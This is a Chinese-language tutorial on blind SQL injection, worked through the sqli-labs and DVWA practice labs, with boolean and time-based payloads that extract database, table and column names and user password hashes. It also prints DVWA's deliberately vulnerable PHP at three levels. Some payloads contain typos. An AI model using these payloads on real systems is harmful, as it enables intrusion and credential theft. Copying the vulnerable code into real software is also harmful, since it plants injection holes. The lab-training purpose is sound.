SQL注入之盲注

Posted 挽留就不会走吗

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之盲注相关的知识,希望对你有一定的参考价值。

一、什么是盲注

盲注就是在sql注入当中,在执行sql语句的时候由于网站代码的限制,或者是解析器的配置导致网页前端不能回显数据。如果存在先错注入,我们可以构造select语句,将需要的信息在合适的位置显示出来,在进行下一步的测试。

我们使用sqli——labs里的第一关做有回显的。

 来看第五关:我们在源码里面加上一个代码,让他可以显示出我们传递参数的地方构造的sql语句。

 盲注意味着web页面不会显示错误sql语句执行的结果,我们需要判断sql语句是否正确执行。

盲注的分类可以分为两种,一种是布尔类型的盲注,另一种就是延时注入。

布尔类型的盲注:根据页面显示是否正确,来判断我们提交的语句是否正确执行

延时注入:是根据页面加载时间来进行判断。

盲注的优缺点:

        优点:不需要显示位和出错信息

        缺点:速度慢,耗时长,不过可以使用bp工具来进行fuzz

布尔类型盲注的操作步骤:

1、构造目标查询语句

2、选择拼接方式

3、构造判断表达式

4、提取数据长度

5、提取数据内容

二、mysql数据库相关函数

length(str):返回str字符串的长度
select length(database()) //该语句就可以返回数据库的长度
payload= id=1'and length(database())=8--+ //判断数据库长度是否位8 如果是8则返回正常页面反之错误页面。



substr(str):截取字符串函数
select substr('email',4,2) =  "il"  //有三个参数,str pos len  ,第一个参数就是我们的sql语句,第二个参数表示从第几个字符开始,第三个参数就是取几位。从pos位置取str位置的len值.如果pos位负数,则为倒数第几个,-4 就为倒数第四个 结果结尾 ma 
payload=id=1' and substr((select database())1,1)='a'--+ //判断当前数据库第一位字符是否等于'a'如果等于返回正常界面,反之错误界面。




正则表达式:regexp
正则表达式语法:regexp ^[a-z]表示字符串中第一个字符实在a-z范围。^a 表示第一个字符为a。regexp ^ab 表示前俩字符为ab。
payload: id=1'and (select databse()) regexp '^a' --+ //判断数据库第一个字符是否为a。



like函数:
语法:like 'a%' 表示第一个字符为a。'ab%'表示前俩字符为ab
注意:'%'在url中输入的时候需要编码,为'25%'.
payload: id=1' and (select database()) like 'a25%'--+




if条件判断语句:正确返回的值,错误返回的值。
if (exp1,exp2,exp3):当exp1的判断结果为true时返回exp2,否则返回exp3.
payload= id =1' if(((select databse())like '%p'),1,0)--+ //使用if和like函数,如果数据库第一个字符为p,则返回1否则为0.



left:
payload:id=1' and left(databse(),1)='s'--+ //数据库第一位是否为s,如果是返回正确页面否则返回错误界面。

三、利用burp suite工具来进行盲注

手工测试太麻烦了我们可以结合burpsuite进行爆破。

确定参数,这里为了省时间,我就没有加特殊符号用的26个英文字母跑的。

payload:id=1' and substr(database(),1,1)='a'--+

注意现在url里输入在抓包,因为bp里面是url编码后的。

 

 这样就知道了当前数据库第一个字符。

我们可以在加一个变量,是substr的第二个参数改变,已知数据库长度为8,使用集数炸弹即可爆出所有字段。

这里节省时间就直接26字母了没有加特殊符号。而且mysql数据库大小写不敏感。

第一个payload就是1-8数字

就相当于第一位从26位字母里爆然后继续第二位以此类推,最后排序找到完整数据库名

 

 

 

 第三位就是c这里图太多就不放上来了,得到数据库名,security。

得到库名我们可以继续爆表明,payload的思路也是同理,表名无非就是26字母加特殊符号,先爆出来表的长度,再根据长度进行表名的爆破。因为一个库里面不一定有几个表呢。

payload:id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1--+

把参数1爆破,先来1-100.最后跑出来位29

 

 知道了所有表的长度就可以来爆破表名了,和爆破数据库名同理,改变substr第二个参数为1-29.

payload:

id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'--+

 

 如上图可以看到第一个字符为e正确,换行也占用一个字符,将他们排序即可获取到表名。

继续爆字段的话也是同理,实战的时候别忘了加上特殊符号。

DVWA——SQL Injection Blind(SQL盲注)

SQL 盲注介绍:

 盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注

 盲注思路步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据


Low级:

<?php 

if( isset( $_GET[ \'Submit\' ] ) ) { 
    // Get input 
    $id = $_GET[ \'id\' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\';"; 
    $result = mysql_query( $getid ); // Removed \'or die\' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The \'@\' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo \'<pre>User ID exists in the database.</pre>\'; 
    } 
    else { 
        // User wasn\'t found, so the page wasn\'t! 
        header( $_SERVER[ \'SERVER_PROTOCOL\' ] . \' 404 Not Found\' ); 

        // Feedback for end user 
        echo \'<pre>User ID is MISSING from the database.</pre>\'; 
    } 

    mysql_close(); 
} 

?> 

可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞

 

User ID exists in the database.                显示存在,

User ID is MISSING from the database.  显示不存在

方法一:基于布尔盲注

 1.判断是否存在注入,注入类型

输入 1, 输出 exists

 

 

 输入  1\' and 1=1 # ,输出 exists

 

 

 输入 1\' and 1=2 # ,输出 MISSING

 

 

 所以存在字符型的盲注。

2.猜数据库名

 

先猜数据库名长度:1\'  and length(database())=1 # ,显示不存在 直到 1\' and length(database())=4 # , 显示存在。。说明库名长度为4

 

 

 然后采用二分法猜数据库的名字。

 输入1\' and ascii(substr(databse(),1,1))>88 #,显示存在,说明数据库名的第一个字符的ascii值大于88

 输入1\' and ascii(substr(databse(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;

 直到猜到准确的数为止。我们通过试验知道了,这里第一个ASCII值为100,ASCII的表去找对应的字母

 输入1\' and ascii(substr(database(),2,1))>88 #  —— 去找第二个字母 等等等

重复以上步骤,得到库名为dvwa

3.猜解数据库中的表名

先猜表的个数 1\' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ,输出MISSING 不存在

接着  1\' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #,输出MISSING 不存在

1\' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,输出exists 存在

所以有两个表,我们先猜第一个表的长度

输入:1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING

使用二分法 1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出 exists

 

直到——  1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists,即第一个表名称字符长为9。

现在猜第一个表的第一个字母

1\' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

直到—— 1\' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g

然后我们再去猜其他的9个字母,为u、e、s、t、b、o、o、k,即为guestbook

 

 

以及去猜第二个表

1\' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #

。。。

第二个表为,users

 

4.猜列名

就直接拿 users表为例了。

先猜表中的字段数目1\' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=\'users\')=8 #   (中间步骤省略了) 数目为 8

猜user表各个名称,按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含键信息的字段,如:用户名、密码...

 

 

【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/...
密码:password/pass_word/pwd/pass/...

所以说我们的命令就可以是 1\' and (select count(*) from information_schema.columns where table_schema=database() and table_name=\'users\' and column_name=\'user\')=1 #,输出exists

 1\' and (select count(*) from information_schema.columns where table_schema=database() and table_name=\'users\' and column_name=\'password\')=1 #,输出exists

所以我们可以知道 users表中有 user和password。还可以试试别的

 

5.猜表中的字段值

同样使用二分法来做,直接写最后一步了:

用户名的字段值:1\' and length(substr((select user from users limit 0,1),1))=5 #,输出exists

——说明user字段中第1个字段值的字符长度=5。

密码的字段值:1\' and length(substr((select password from users limit 0,1),1))=32 #,

——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用户名)

1\' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)

1\' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)                                            

。。。。。

猜解password字段的值:(密码)

1\' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)

。。。。。

 

方法二:基于时间盲注

 

1.判断是否存在注入,注入是字符型还是数字型

 

输入1\' and sleep(5) #,感觉到明显延迟;

输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间盲注。

2.猜解当前数据库名

(前面猜的方法都有,直接给结果了):1\' and if(length(database())=4,sleep(5),1) # 明显延迟,说明数据库名长度为4个字符。

然后二分法猜数据库名:1\' and if(ascii(substr(database(),1,1))=100,sleep(5),1)# 明显延迟,说明数据库第一个字符为 d。

重复上述步骤,可猜出数据库名为 dvwa

3.猜解数据库中的表名

首先猜解数据库中表的数量:1\' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# ,说明有两个表

然后猜第一个表名长度:1\' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,说明第一个表名长度为9

采用二分法即可猜解出表名。

4.猜解表中的列名

还是先猜users表中的列的数量:1\' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# ,明显延迟,说明有8个列

然后猜第一个列名的长度:1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟,说明第一个列名为7个字符

再用二分法猜解。。。

5.猜解数据

同样采用二分法来猜解,上面有过程。

(因为命令实在太多,而且成功与否的输出情况都一样,就没截图了)

 

Medium级:

<?php 

if( isset( $_POST[ \'Submit\' ]  ) ) { 
    // Get input 
    $id = $_POST[ \'id\' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $getid ); // Removed \'or die\' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The \'@\' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo \'<pre>User ID exists in the database.</pre>\'; 
    } 
    else { 
        // Feedback for end user 
        echo \'<pre>User ID is MISSING from the database.</pre>\'; 
    } 

    //mysql_close(); 
} 

?> 

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

我们可以看到这种情况和前面的sql手工注入类似,可以用抓包修改id进行注入

 

这里就不再赘述了,可以参考上一篇文章,还有上面Low级的教程。

 

High级:

<?php 

if( isset( $_COOKIE[ \'id\' ] ) ) { 
    // Get input 
    $id = $_COOKIE[ \'id\' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\' LIMIT 1;"; 
    $result = mysql_query( $getid ); // Removed \'or die\' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The \'@\' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo \'<pre>User ID exists in the database.</pre>\'; 
    } 
    else { 
        // Might sleep a random amount 
        if( rand( 0, 5 ) == 3 ) { 
            sleep( rand( 2, 4 ) ); 
        } 

        // User wasn\'t found, so the page wasn\'t! 
        header( $_SERVER[ \'SERVER_PROTOCOL\' ] . \' 404 Not Found\' ); 

        // Feedback for end user 
        echo \'<pre>User ID is MISSING from the database.</pre>\'; 
    } 

    mysql_close(); 
} 

?> 

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。

同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。但是我们可以通过#将其注释掉。

和前面的SQL注入一样,但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只能使用基于布尔的盲注。

Low级有命令,可以自己试试。。

 

以上是关于SQL注入之盲注的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入实战之盲注篇(布尔时间盲注)

SQL注入实战之盲注篇(布尔时间盲注)

DVWA靶场实战——SQL Injection(Blind)

web安全sql注入盲注&布尔&延时&报错

网络安全-SQL注入系列03

Web系统常见安全漏洞及解决方案-SQL盲注